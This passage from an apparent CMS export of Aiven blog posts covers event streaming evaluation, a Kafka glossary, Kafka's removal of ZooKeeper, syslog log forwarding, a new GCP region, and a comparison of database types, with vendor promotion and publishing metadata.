on you to understand what’s expected of *them*, and what’s expected of *you*.\n\nMake sure you have the right expertise. If you don’t have them on staff directly, do you have the right partners or support plan? Always have someone thinking about these:\n\n- Metrics and monitoring\n- Scalability\n- Cost reduction\n- Application architecture\n- Query optimization\n\n### The cost of lost opportunity\nIf you’re responsible for your own ops, you’re responsible for the reliability of your service. You have the final responsibility for juggling the need for uptime against spikes in your traffic or data-load; against unforeseen alerts; against patching your servers and running maintenance. That’s all on you, and you need to know it all.\n\n----\n\n**You can’t deliver revenue-driving features if you’re too busy doing the work that’s not directly earning your company money. Don’t sacrifice developer cycles to ops tasks if you don’t have to. Wherever the ROI makes sense, consider offloading some of that responsibility.**\n\n----\n\n### Other perspectives that impact team efficiency\n\n- **Alice and Bob vs. Stack Overflow**: Out of all the errors and bugs you encounter, how many of them can be solved by going online to Stack Overflow to dig for a solution? And how many of them have to be solved by Alice and Bob, who built that *thing* years ago and are the only ones who know anything about it? Those answers affect your approach to onboarding new developers, and how quickly they can ramp up and start delivering value. \n \n- **Build vs. Buy**: What kind of investment do you need to make , to make this tech work with your current setup? Do you go on doing it yourself, working with the infrastructure you have, or do you start from scratch and get it scalable and stable from the ground up?\n \n- **`gh(T)`**: You may have heard of the *GitHub of T function*. It’s all about searching tech in GitHub — Apache Kafka, Postgres, whatever — and identifying how many repositories are related to that tech, and how many devs are committed to it. This gives you an ecosystem score for that tech. If you can understand that score and its importance, you’ll see how easy it is to hire experts in that tech field directly, or if you need to hire and train.\n\n## Building on the shoulders of giants: integrations, tooling, and open source\nWe’ve looked at:\n\n- How apps are impacted by your decisions\n- How are teams impacted by your decisions\n\nNow we’ll zoom out a bit more, and think about how entire tech departments (engineering, operations, DevOps) are impacted by your decisions and your approach to solution building.\n\nAnd when it comes to building solutions, building on the shoulders of giants is key. What’s ready and waiting, already provided by the ecosystem? You can take advantage of that established foundation, and use it to earn and save (yes, it comes back to money — hey, they don’t call it the bottom line for nothing).\n\n### Proprietary vs. Open Source\nA wise software architect knows how sticky some proprietary software and tooling licenses are. If you want to explore the benefits of another cloud or another tech offering, it can be challenging. You need to make sure you have a backup plan.\n\n### Observability\nBuild observability into your architecture from the start. Observability is a *must*. If an app team or engineering department makes a decision without consulting other teams — DevOps or security, say — it creates blind spots in other teams and processes. And when your teams are working blind, problems arise.\n\n### Security and governance\n**Streaming data** – data collected in real time and dashboards that reflect your up-to-the-second business reality – is more valuable than gold in today’s tech environment. And ensuring that your customers can be confident in your handling of their personal information, or their data usage, is critical.\n\nDon’t overlook the importance of quality control. Testing is an important part of a functional infrastructure. Remember how we said that without a disaster, your disaster recovery plan is basically just a fairy story? Well, without testing, your system stability is a joke — there, we said it.\n\n## Total Cost of Ownership\nAnd now we’ll zoom *all* the way out:\n\n- Your company and its overall scalability\n- Your company’s place in its broader industry\n- The ways *you* can push the limits of that industry\n\nThe most expensive part of your infrastructure is between the keyboard and the chair. Enable your sprint teams to be fully effective and deliver value. You’re paying for them — like anything else you’re paying for, be smart and get your money’s worth!\n\n**Have a line item for everything.** Networking, tooling, you name it. If a server comes with a price tag, but you don’t know your company’s and customers’ usage patterns, you won’t know whether that server is worth the cost.\n\n**Understand the tooling.** Know whether you have enough expertise at your fingertips. Know what investments to make. And don’t be afraid to ask your big providers for some free credits to experiment with!\n\n### Billing patterns\nNot to name names, but there’s a bit of a trend in startups and how they scale for growth.\n\nWith the annual commits model you pay for access to a given functionality. It can scale alright, but it’s essentially a licensing fee.\n\nIn recent years, it’s become more profitable to take away some of those costs, moving to a usage-based provider instead of a license. On an application ops level, you pay according to the committed or duplicated actions you take. This works fine at the start, but it scales *very* fast, and often unexpectedly.\n\nThe solution is **reserved infrastructure**. You are responsible for capacity planning and understanding your workloads. Purchase plans that meet those needs. It makes price predictability way more manageable.\n\n## So many questions\nWe can’t say what’s going to work for your company. Only you can say that. But hopefully we’ve given you, through the lens of the software architect, a glimpse of the questions you need to ask.\n\n- How often should I re-evaluate my choice of event streaming platforms?\n- When do proprietary software / solutions make sense vs. open source?\n- How much can I outsource? How much *should* I outsource?\n- When does self-management make sense?\n\n### This is the way\n\n::banner[Book an Aiven expert for a chat and find out if you need our managed data infrastructure.]{ctaText=\"Book a demo now\" ctaLink=\"https://aiven.io/book-demo\" title=\"Take the first step today\" background=\"\" theme=\"light\"}\n\n### Want to read more?\n\n- Check out our page about [Aiven for event streaming](https://aiven.io/solutions/aiven-for-event-driven-architecture) and consider booking a brief demo slot with us!\n- Where does event streaming fit into the Internet of Things, you ask? Take a look at Everactive, one of our success stories - and [how their experience can benefit you](https://aiven.io/case-studies/everactive-relies-on-aiven-for-iot-data)\n- Or check out our blog post on [solving problems with event streaming](https://aiven.io/blog/solving-problems-with-event-streaming)\n- Or get an [introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nAnd if you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\n## Further reading\n\n- Get an [introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)\n\n","categories":[{"_key":"9ff98af9b574","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-5e10e9fb44436d23b4fc50352d5083b6e56b6240-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-12-16T08:52:52.944Z","related":[{"_key":"c1ae0f60e2e4","_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"},{"_key":"adffcf3914f8","_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"},{"_key":"9ccec7d50e25","_ref":"prVmdI5mrod8V3GrQhEc5","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/evaluating-your-event-streaming-needs-the-software-architect-way"},"subtitle":"Join David Esposito, Recovering Over-Engineer-er, in exploring  streaming solutions – and how The Way of the Software Architect is key to tackling them.","title":"Evaluating your event streaming needs, the software architect way"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"4CKrpF7BEeleSNnUv68jTf","_rev":"E2EqFgH2t2FE0P1F1sZARp","_type":"post","_updatedAt":"2024-02-27T15:30:17Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\posts\\2022\\ed-pillar-kafka\\pillar-kafka.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/4CKrpF7BEeleSNnUv68jTf\nDO NOT EDIT IN CONTENTFUL\n--\u003e\n\n## Broker\nAn individual Apache Kafka server. This could be stand-alone, but is usually one of a larger cluster of nodes. The broker is the server that is running Apache Kafka itself, as opposed to any of the surrounding tools (e.g. Apache Kafka Connect).\n\n## Consumer\nAn application which is reading data from Apache Kafka, and often acting upon it in some way. Even the various tooling that is often used with Apache Kafka is ultimately a simple producer or consumer when it’s actually communicating with Apache Kafka.\n## Consumer groups\nMuch like how many Apache Kafka brokers are often clustered together to make a scalable platform, consumers will also usually need to scale beyond a single instance of an application. When multiple copies of an application are running, they somehow need to coordinate which instance is handling which messages - coordination is generally thought of as a hard problem to solve in software. Thankfully, Apache Kafka has a built-in concept of groups of consumers, which can be used to allocate different copies of an application to different partitions and ensure that workloads are spread evenly.\n## Event driven architecture\nApplication architecture built around\n## Event\n(record, message) A single discrete chunk of data, the smallest unit which can be produced onto or consumed from Apache Kafka. A message will always have a “value” (i.e. the body of the message, to use an email analogy) but will often also have a “key” (which should be a quick way to identify something which the message relates to) and “headers” (metadata about the message, similar to email headers, which could be e.g. “From” and “To” and “Date”)\n## Kafka node\nsee Broker\n## Kafka server\nSee Broker\n## Message\nsee Event\n## Partitioning\nWhen dealing with huge amounts of data, often a single server is not enough. This could either be because of total quantity (sometimes disks just aren’t big enough), or because there are so many applications that a single server would get bogged-down with handling all of them. Partitioning is how Apache Kafka splits-up a given topic across multiple servers, whilst always treating a given server as the “leader” of a partition (which is where producers send data for that partition). Partitions is fundamental to how data is “sharded” across multiple servers, and has some important upshots\nreplication happens per partition, and preserving the order of messages is only guaranteed within a partition. When choosing which partition to publish to, an application will almost always use the message’s key (this is usually hidden inside the library), so care must be taken to make the key represent something which you want to keep in the same order (e.g. something like “customer ID” is probably a good choice, so all messages relevant to that customer will be kept in order). Changing the number of partitions may have consequences, as there are consequences both of increasing and decreasing the partition count, so care should be taken when creating a new topic to consider future needs.\n## Producer\nAn application which is writing data into Apache Kafka, and doesn’t care who or what is reading the data. The data could be well-structured, or simple strings of text, and will often have [additional metadata](https://aiven.io/blog/tips-for-designing-payloads) with it to help describe the data itself.\n## Pub/sub\nA messaging architecture, where some applications are publishing messages which are then copied to any other listening applications. This is similar to a radio broadcast, where anyone who is tuned to the correct frequency will hear the audio being sent from a central point. Contrast this with a point-to-point architecture, where the producer and consumer would be directly coupled together and aware of each other. Often the subscribers would need to be listening at the exact moment that a message is published, although not with Apache Kafka, which is near-realtime.\n## Queueing\nA messaging architecture where messages are sent by a producer in a given order, and then at some point they are received by a consumer in the same order that they are sent. In some message brokers, once a message is consumed it is then removed and can never be consumed again, but this is not the case with Apache Kafka - instead, a watermark is kept for each consumer representing the most recent message being read. If the consumer gets interrupted or restarted then it simply picks up from where it left off. This “state” (i.e. “queue position”) can be kept within Apache Kafka itself.\n## Record\nsee Event\n## Replication\nWhen it comes to data, maximum risk happens when there’s only one copy of it. Built-in to Apache Kafka is the ability to replicate data across multiple servers, and keep track of which servers have which data, so that even if a server fails then the data is still preserved. This is configured per topic.  Additional controls decide how many copies are in sync when producing messages.\n\n## Topic\nMessages on Apache Kafka are organised into logical channels, or topics. An application will decide which topic it is producing onto or consuming from, and normally have expectations about the message depending on which topic is used. An example could be “sensor-readings” or “kubernetes-logs”. Topics will often be named something human-readable.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-20T00:00:00.000Z","related":[{"_key":"469ca6fa7358","_ref":"ZIhwh1ZhFnaMv3ZBSp0tp","_type":"reference"},{"_key":"af8274db36be","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Glossary of important terminology related to Apache Kafka® | Get informed about the fully managed service, deployed in the cloud of your choice!","metaImage":{"alt":"","asset":{"_ref":"image-ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844-png","_type":"reference"}},"metaTitle":"Apache Kafka® Key Concepts - An explained Kafka Glossary"},"slug":{"_type":"slug","current":"/blog/apache-kafka-key-concepts"},"subtitle":"A glossary of terms related to Apache Kafka®","title":"Apache Kafka® key concepts"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1coZt65cutPMxJBDCQfemM","_rev":"ejVwHgKe5k9eDWbchuI0IU","_type":"post","_updatedAt":"2024-07-11T09:15:22Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Due to scalability and duplication issues, Apache Kafka is engaged in the long process of [breaking its dependency on ZooKeeper](https://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum \"Link to the improvement proposal on Apache.org\"). In this article, we’ll look at how this will change the way that brokers communicate with each other and with Kafka as a whole.\n## Kafka and ZooKeeper today\nWhen setting up an Apache Kafka broker, there are three essential broker configurations that you need to define. The broker needs to be able to know and tell other system elements who it is (broker.id). It needs to know where to write topic data (log.dirs). And it needs to connect to ZooKeeper (zookeeper.connect) in order to join its Apache Kafka system as a productive member. This tells you just how central ZooKeeper currently is for Kafka.\n\nAs a brief recap, an [Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"Aiven's introductory post on Apache Kafka\") system consists of producers, consumers, brokers and ZooKeeper. \n\n- Producers send records to the core\n- Consumers fetch records from the core\n- Brokers handle all the requests from them and keep data replicated within the cluster. \n\nZooKeeper keeps the whole band in sync. It stores the cluster configuration and maintains cluster membership. Brokers send a regular heartbeat signal to ZooKeeper. If no heartbeat signal arrives, the broker’s ZooKeeper session times out. When this information reaches the controller broker, it triggers a new leader election for all partitions with a leader on that broker. If the timed-out broker was the controller, the other brokers race to take over and a new controller arises. \n### So what’s the problem?\nThere are two rather large issues with the ZooKeeper dependency. Firstly, ZooKeeper is a limitation on Kafka’s extendability. As Kafka clusters get larger, the data that ZooKeeper needs to store increases. Then that data must be loaded periodically from ZooKeeper to Kafka. The larger the cluster, the longer the loading times. And of course, long loading times run the risk of failure in the middle of the operation. This can lead to brokers being left in divergent states, or at worst ZooKeeper not being up to date with the state held in the controller’s memory.\n\nAnother chronic issue is the problem of maintaining two systems without it leading to mistakes and discrepancies. The systems are being independently set up and configured manually. Also, external utilities can modify one system without talking to the other. In both cases, errors are possible and we’d say even likely.\n\nAnd finally, let’s face it, ZooKeeper isn’t the easiest system to maintain. At Aiven we know how, but it’s a steep learning curve for someone wanting to take Kafka into use.\n### After the breakup\nIn the post-ZooKeeper world, Apache Kafka would independently take care of its configuration management. The configuration will be written to a metadata log, and it will contain information about each metadata change: topics, partitions, ISRs, configurations and so on. The log would be written by a [Raft quorum](https://en.wikipedia.org/wiki/Raft_(algorithm) \"Link to the Wikipedia definition of the Raft algorithm\") formed by the controller nodes. The Raft quorum elects a leader, called the active controller, whose job it is to handle all RPCs from the brokers. (Note that changes are planned in Kafka to the Raft model; it will be implemented as pull-based, rather than push.)\n\nEffectively, instead of one single controller, there will be several controllers available to take over if the active controller goes offline. These standby controllers are simply the other nodes in the quorum.\n\nThe brokers fetch the metadata they need from the active controller at regular intervals. These fetches also act as a heartbeat. If a broker hasn’t fetched metadata for a while, the active controller removes the entry for the broker from the cluster metadata.\n\nAs a side note, the new architecture will also enhance the creation and deletion of topics. As long as it’s up to ZooKeeper to maintain the list of topics that have changed, it forms a bottleneck in the system. In the new system, new topics can be created or deleted with just a new entry in the metadata partition.\n## But what does it mean today?\nFor Aiven for Kafka users, the main difference in a ZooKeeper-free Kafka will be improved performance. Over here we’re busy planning and refactoring, but all the changes are under the hood. All you have to do is lean back, sip your coffee and enjoy the freedom of a fully managed Kafka service.\n\nBut maybe you didn’t come here to be told that, but rather to find out more about what is going on with brokers in the latest Kafka release. \n### Raft module\nIn Apache Kafka 2.7, [the core Raft implementation has been added](https://cwiki.apache.org/confluence/display/KAFKA/KIP-595%3A+A+Raft+Protocol+for+the+Metadata+Quorum \"Link to the improvement proposal on Apache.org\"). The new “raft” module contains the core consensus protocol. This has not been fully integrated with the controller yet, but you can test the performance with a standalone server.\n### Inter-broker API\nApache Kafka 2.7 adds a [new inter-broker API to Alter ISR](https://cwiki.apache.org/confluence/display/KAFKA/KIP-497%3A+Add+inter-broker+API+to+alter+ISR \"Link to the improvement proposal on Apache.org\") which gives the controller the exclusive ability to update Leader and ISR state. As a result, the metadata sent by the controller always reflects the latest state, and the leader can reject inconsistent leader and ISR changes. \n\nAlso, after updates it’s no longer necessary to reinitialize the current state. This can reduce shutdown time significantly. \n\nAnd finally, the reassignment of partitions is only complete when new replicas are added to the ISR. Because the controller no longer has to wait for a change notification, the process is quicker.\n### SCRAM configuration API\nIn 2.7 we also see the new [broker-side SCRAM configuration API](https://cwiki.apache.org/confluence/display/KAFKA/KIP-554%3A+Add+Broker-side+SCRAM+Config+API \"Link to the improvement proposal on Apache.org\"). Its job is to remove the ZooKeeper dependency from the process of changing SCRAM settings.\n## Wrapping up\nMoving away from ZooKeeper is a huge deal for Apache Kafka, and will take a long time to accomplish. The latest release takes some further steps in that direction, also impacting the way brokers communicate. The changes are not enormous yet, but are indicative of great things to come. We’ll continue to keep abreast of the latest developments!\n\n**Tip!** Further reading: \n[An introduction to Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"Aiven's introductory post on Apache Kafka\") by Oskari Saarenmaa\n[5 Benefits of a Kafka-centric microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture \"Aiven's post on using Apache Kafka to set up microservices\")\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Tips for designing payloads](https://aiven.io/blog/tips-for-designing-payloads)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-e22ce2d5de21e626c59280b4490105745e0f022d-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-10T00:00:00.000Z","seo":{"metaDescription":"Kafka is moving away from ZooKeeper, slowly but surely. Find out how this impacts broker communication in the latest versions of Apache Kafka.","metaImage":{"alt":"","asset":{"_ref":"image-e22ce2d5de21e626c59280b4490105745e0f022d-1567x844-png","_type":"reference"}},"metaTitle":"Broker communication in Apache Kafka® 2.7 and beyond"},"slug":{"_type":"slug","current":"/blog/broker-communication-in-kafka-2-7-and-beyond"},"subtitle":"Kafka is moving away from ZooKeeper, slowly but surely. Find out how this impacts broker communication in the latest versions of Apache Kafka.","title":"Broker communication in Apache Kafka® 2.7 and beyond"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4jbiWBFUOqzS9c3aaRlLVl","_rev":"lESIXfhUM7GwGlQ32bnwrD","_type":"post","_updatedAt":"2024-07-17T11:43:43Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Last summer, we made some improvements to our default logs view and [released our Aiven logs integration](https://aiven.io/blog/want-greater-command-over-your-service-logs). While these changes provided greater logging visibility and flexibility, there was still one issue:\n\n\u003e What if you were using an external service or running your own logging infrastructure?\n\nWe pride ourselves on the openness of our platform, which is why we did something about it: __you can now send your Aiven service logs to an external monitoring system using the rsyslog protocol.__\n\nAs a result, you can now send Aiven service logs to 3rd-party logging services such as Loggly or Papertrail, or your own syslog service, giving you three logging options. [Check out our help article](https://help.aiven.io/en/articles/2933115-remote-syslog-integration) to learn how to set it up.\n## Wrapping up\n\nYou have three logging options: accessing the [past two days of logs via our Console, API, or CLI](https://aiven.io/docs/platform/howto/list-monitoring#view-service-logs), using our [logs integration](https://help.aiven.io/en/articles/2090163-getting-started-with-elasticsearch-log-integration) to get unlimited retention and benefit from OpenSearch’s capabilities, or our [syslog integration](https://help.aiven.io/en/articles/2933115-remote-syslog-integration) to send them to an external service.\n\nAnd stay tuned, __we will be supporting a fourth option__ pretty soon that has been requested quite often: sending Aiven service logs to external OpenSearch/Elasticsearch databases. To stay up to date, subscribe to our [blog](/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/)!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0504ab50568854ae3c8919615f02de8ece347749-752x405-png","_type":"reference"}},"publishedAt":"2019-04-30T00:00:00.000Z","seo":{"metaDescription":"Aiven customers now have a third way to get their service logs; find out more about it in this post.","metaImage":{"alt":"","asset":{"_ref":"image-0504ab50568854ae3c8919615f02de8ece347749-752x405-png","_type":"reference"}},"metaTitle":"Syslog output supported on the Aiven platform"},"slug":{"_type":"slug","current":"/blog/syslog-output-supported-on-the-aiven-platform"},"subtitle":"Aiven customers now have a third way to get their service logs; find out more about it in this post.","title":"Syslog output supported on the Aiven platform"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5zWSsGkce6YaXHeGa0ym7I","_rev":"AUoLUkEDo6CVeRx5sqavIr","_type":"post","_updatedAt":"2024-02-09T09:43:07Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Google recently released its 17th cloud region—__GCP Los Angeles, us-west2.__ According to [TheCHANNELCO](https://www.crn.com/news/cloud/300105701/google-goes-hollywood-tech-giant-launches-17th-cloud-data-center-region-in-los-angeles.htm), Google released the region to better serve film production houses, animation studios, and other content creators.\n\nAs per long-standing Aiven tradition our current and prospective users are among the first to be provided managed Kafka, Cassandra, PostgreSQL, OpenSearch, Redis and Grafana hosted in the new GCP region us-west2.\n\n## What’s interesting about GCP Los Angeles\n\nGCP Los Angeles is a 3-zone region that supports instances utilizing local SSDs and uses the latest generation Intel processors by default, i.e. the Skylake processor, with __CPU performance up to 20% better than the previous generation’s.__\n\nBecause of this chipset, users can deploy instances with up to 96 vCPUs. Local SSD support, a faster chipset, and larger instances should make this region pretty popular for users with high performance needs.\n\n__As the only DBaaS provider supporting local SSDs,__ this is even better news for Aiven users, especially when combining the Skylake’s performance increase with that of [GCP instances using local SSDs](https://aiven.io/blog/postgresql-cloud-performance){:target='\\_blank\"}.\n\n## Wrapping up\n\nAll things equal, us-west2 is another great addition to the GCP Cloud and an even better one for Aiven. It is important to note that your application’s performance is also dependent on other factors, for example where you’re hosting your application.\n\n\u003e That’s why Aiven offers the largest number of regions of any DBaaS provider. This marks __Aiven’s 17th region in and 72nd overall.__\n\nFor users looking for lower latencies for their applications running in and around the Los Angeles region, this may be ideal. Stay tuned for more region releases by joining our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). In the meantime, enjoy GCP Los Angeles!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405-png","_type":"reference"}},"publishedAt":"2018-07-17T00:00:00.000Z","seo":{"metaDescription":"GCP Los Angeles marks the 17th GCP region made available on Aiven. Find out why GCP Los Angeles and what it means for Aiven users here.","metaImage":{"alt":"","asset":{"_ref":"image-346303c1b91a7c25ba6617f5bed0c77d64339b17-725x405-png","_type":"reference"}},"metaTitle":"GCP Los Angeles now available on Aiven"},"slug":{"_type":"slug","current":"/blog/gcp-los-angeles-now-available"},"subtitle":"GCP Los Angeles marks the 17th GCP region made available on Aiven. Find out why GCP Los Angeles and what it means for Aiven users here.","title":"GCP Los Angeles now available on Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2Os8QCxvmJVabe9W6yGIGy","_rev":"ZgPiUE9lJ1tcRKuFnZGXVx","_type":"post","_updatedAt":"2024-07-11T08:26:09Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Imagine all of the possible formats into which you could collect data. And then, imagine what you could do with it. Think of a continuum – on one end is completely structured data, on the other, completely unstructured data.\n\nCoupled with this comes the flexibility of searching that data, but this is where things get interesting. You’d think that the more structured your data is, the more flexible the means of searching it – but then you’d be wrong.\n\nTo understand all of this better, let’s examine the data continuum: from fully-structured to unstructured. From there, we’ll look at the data stores that handle each kind of data. And we’ll consider questions to ask when choosing a data store: even when you may need more than one in your pipeline. But first, let’s start on the structured end of the spectrum.\n\n### Relational database management systems\nOn one end of the continuum, you have **rigorously-structured data**: think of [RDBMS](https://en.wikipedia.org/wiki/Relational_database#RDBMS)es like [PostgreSQL](https://www.postgresql.org/) or [MySQL](https://www.mysql.com/). On this end, you’ll find **transactional data**, where data format is held to the strictest requirements, and records cannot afford to be lost under any circumstances.\n\nIf an incoming event doesn’t strictly meet the criteria, the event will not be stored but rejected, and the database or client will throw an error (a _type incompatibility_ is when data in a specific field doesn’t match the predefined format for that field). So, for example, if a field in a PostgreSQL schema specifies an _integer_ and an incoming event has a _float_ in that space, the incoming event will be rejected.\n\nRDBMSes require [ACID](https://en.wikipedia.org/wiki/ACID) transactions, meaning that all transactions within the database are _atomic_, _consistent_, _isolated_, and _durable_. This explains the rigidity of the SQL query language: transactions cannot break or introduce inconsistencies into other database records, even if it is distributed.\n\nAlso, once specific columns are defined for a table, when inserting data using ```insert into```, in all rows, these fixed columns will be automatically populated to contain at least a ```NULL``` value.\n\n_NOTE: These days, Postgres and MySQL support JSON quite well, making them competitive in some ways with other data stores for semi-structured data._\n\n![image showing data stores along a data continuum from structured to unstructured data](https://cdn.sanity.io/images/sczeoy4w/production/516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png)\n\n### Wide-column stores\n[Moving to the right on the continuum](https://aiven.io/blog/an-introduction-to-apache-cassandra), the rules of engagement relax slightly. A _wide-column store_ like [Apache Cassandra](https://cassandra.apache.org/_/index.html) or ScyllaDB allows rows (as minimal units of replication, analogous to _rows as records_ in Postgres) to store a great, but most importantly _variable_ number of columns.\n\nThese are great for the sort of data later to be used in aggregations and statistical analysis where events come in large, occasionally inconsistent batches: **a fairly fixed schema but of variable width**.\n\nThe variable width of rows concept is what some might argue, allows flexibility in terms of the events it can store: one event (row) can have fields ```name(string)```, ```address(string)```, and ```phone(string)```, with the next event having ```name(string)```, ```shoe_size(int)```, and ```favorite_color(string)```. Both events can be stored as rows in the same column family (analogous to a _table_ in PostgreSQL or MySQL).\n\nHow is this possible? Because a wide-column store like Cassandra can accommodate new columns. In other words, different rows in the same column family can contain different columns.\n\n![image showing variable length rows in Cassandra column families](https://cdn.sanity.io/images/sczeoy4w/production/03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png)\n\nThere is still one inflexible notion here: the column family schema, including all columns, should ideally be defined _prior to ingestion_. During data ingestion, Cassandra cannot create new fields on the fly during a streaming ingest.\n\nHowever, you could create a column family using a compound key or use, as a separate step, an [```alter table```](https://stackoverflow.com/questions/16938285/how-to-add-columns-dynamically-in-a-column-family-in-cassandra-using-cql) command during an ingest on an existing column family to add new columns. When this is done dynamically from a running application, this gives the _appearance_ of flexibility in a Cassandra column family, when actually, the application is doing the work!\n\nCassandra exposes a SQL dialect called [CQL](https://en.wikipedia.org/wiki/CQL) for its _DDL_ (data definition language) and _DML_ (data manipulation language). While similar to SQL, there is one notable omission: Apache Cassandra does not support ```join``` operations.\n\nFinally, as Cassandra is a distributed database, you can configure things like _replication factor_ and _consistency level_ to determine where the data gets replicated and how often. Almost every distributed database honors the [CAP theorem](https://en.wikipedia.org/wiki/CAP_theorem) nowadays: the oft-repeated notion that a distributed data store must honor the tradeoff between data **consistency**, **availability**, and **partition tolerance**. As time moves on, the understanding of this tradeoff [continues to evolve](https://martin.kleppmann.com/2015/05/11/please-stop-calling-databases-cp-or-ap.html). Regardless, these settings are typically hidden from end users in managed solutions and default settings serve most use cases.\n\n### Key-value stores\nNext up, we have _key-value_ stores like [Redis](https://redis.io/), which runs in-memory. These store a _key_ that works like a fast-searchable index and associated _values_ which can contain, for example strings, lists, hashes, sets, sorted sets or even bitmaps.\n\nThese are useful where you’re essentially storing flat hierarchies that require the fastest, lowest-possible latency lookup of very specific bits of data. They’re flexible in that [many](https://redis.io/topics/data-types) things can go into the value part (although not the key), but inflexible in that the key to value ratio is 1:1.\n\n### Document stores/full-text search engines\n[_Document stores_](https://aiven.io/opensearch) like MongoDB and [Elasticsearch](https://en.wikipedia.org/wiki/Elasticsearch) offer the greatest level of flexibility – and complexity. A document store roughly resembles a key-value store where the key becomes the _document ID_ and the value is the _document_ containing the actual stored data.\n\nThe document can be almost anything, including an array of values; thus, Elasticsearch might be a good choice when the stored data is hierarchical within a single document and should not be flattened. Elasticsearch _indexes_ data into _indices_, which hold _types_, which contain _documents_ which hold _fields_.\n\nIn addition to accommodating the most unstructured data of the bunch, Elasticsearch also offers the most flexibility in querying the data. Not limited to SQL's ACID constraints, the supported [Query DSL](https://www.elastic.co/guide/en/elasticsearch/reference/6.4/query-dsl.html) is profoundly extensive, flexible and works down to the keyword/token level.\n\nElasticsearch query types include (but are not limited to) [full-text queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/full-text-queries.html); [term-level queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/term-level-queries.html); relevance-ranking queries; term-completion queries (where word-completion suggestions appear after a user starts typing); [joining queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/joining-queries.html) (less expensive than SQL-style joins); regular expression and partial-regular expression queries; [geo queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/geo-queries.html) (essentially geolocation data queries); specialized queries (a rather motley crew of “none of the above” query types); and even [span queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/span-queries.html), which control for word order and position and are well suited to legal, contractual, and patent documents (but can be used on any text, anywhere).\n\nTo add to the pile and drive home the flexibility of Elasticsearch, [compound-queries](https://www.elastic.co/guide/en/elasticsearch/reference/current/compound-queries.html) are possible. These wrap other query types (including mashups of more than one of the above queries) to calculate items such as scores, matches, relevance ranking of results, and boolean truth values.\n\n_NOTE: Time-Series data can be stored and tracked in any RDBMS, wide-column store or even full-text 